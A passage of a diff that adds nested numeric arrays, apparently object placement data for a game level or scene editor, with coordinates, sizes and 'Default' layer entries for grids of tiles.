+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 333,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4009,
+ 541,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 335,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 578,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 31,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 296,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -341,
+ 800,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 297,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 298,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2184,
+ 2331,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 300,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 301,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 302,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 608,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 303,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 306,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 307,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 308,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2145.481201171875,
+ 680.7286987304688,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 320,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 364,
+ 453,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 411,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -773,
+ 2499,
+ 0,
+ 2461,
+ 458,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 486,
+ 418,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 764,
+ 622,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.3026486039161682,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 463,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4767,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 479,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4859,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 480,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4951,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 481,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5042,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 485,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5134,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 486,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.943359375,
+ 877,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 487,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4766.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 544,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4858.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 561,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4949.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 564,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5041.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 567,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5133.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 570,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5225.94189453125,
+ 972.302734375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 573,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.786865234375,
+ 607.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 102,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.786865234375,
+ 703.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.786865234375,
+ 607.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 169,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.786865234375,
+ 607.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 299,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.786865234375,
+ 607.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 305,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.786865234375,
+ 703.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 309,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.786865234375,
+ 703.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 310,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.786865234375,
+ 703.8712158203125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 311,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 867.48779296875,
+ 724.48779296875,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.3026486039161682,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 312,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 798.8439331054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 313,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 798.8439331054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 314,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 798.8439331054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 316,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 798.8439331054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 319,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.786865234375,
+ 798.7151489257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 321,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.786865234375,
+ 798.7151489257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 322,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.786865234375,
+ 798.7151489257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 324,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.786865234375,
+ 798.7151489257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 327,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 892.8424682617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 337,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 892.8424682617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 340,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 892.8424682617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 348,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 892.8424682617188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 349,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.786865234375,
+ 892.7136840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 351,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.786865234375,
+ 892.7136840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 352,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.786865234375,
+ 892.7136840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 353,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.786865234375,
+ 892.7136840820312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 356,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 31,
+ 987.6864013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 357,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 987.6864013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 358,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 987.6864013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 362,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 987.6864013671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 363,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.786865234375,
+ 987.5576171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 364,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.786865234375,
+ 987.5576171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 365,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.786865234375,
+ 987.5576171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 366,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.786865234375,
+ 987.5576171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 367,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 932,
+ 797,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 368,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 932,
+ 893,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 369,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1024,
+ 797,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 370,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1116,
+ 797,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 371,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1208,
+ 797,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 372,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1024,
+ 893,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 374,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1116,
+ 893,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 375,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1208,
+ 893,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 376,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1300,
+ 797,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 377,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1300,
+ 893,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 378,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 932,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 379,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1024,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 380,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1116,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 381,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1208,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 382,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1300,
+ 988,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 383,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1391.550537109375,
+ 416.9727172851563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.550537109375,
+ 416.9727172851563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 385,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.550537109375,
+ 416.9727172851563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 386,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1391.550537109375,
+ 512.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 387,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.550537109375,
+ 512.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 388,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.550537109375,
+ 512.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 389,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1391.550537109375,
+ 607.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 390,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.550537109375,
+ 607.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 391,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.550537109375,
+ 607.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 392,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1391.550537109375,
+ 701.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 393,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.550537109375,
+ 701.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 394,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.550537109375,
+ 701.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 395,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1391.550537109375,
+ 796.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 396,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.550537109375,
+ 796.9727172851562,
+ 0,
+ 96,
+ 99,
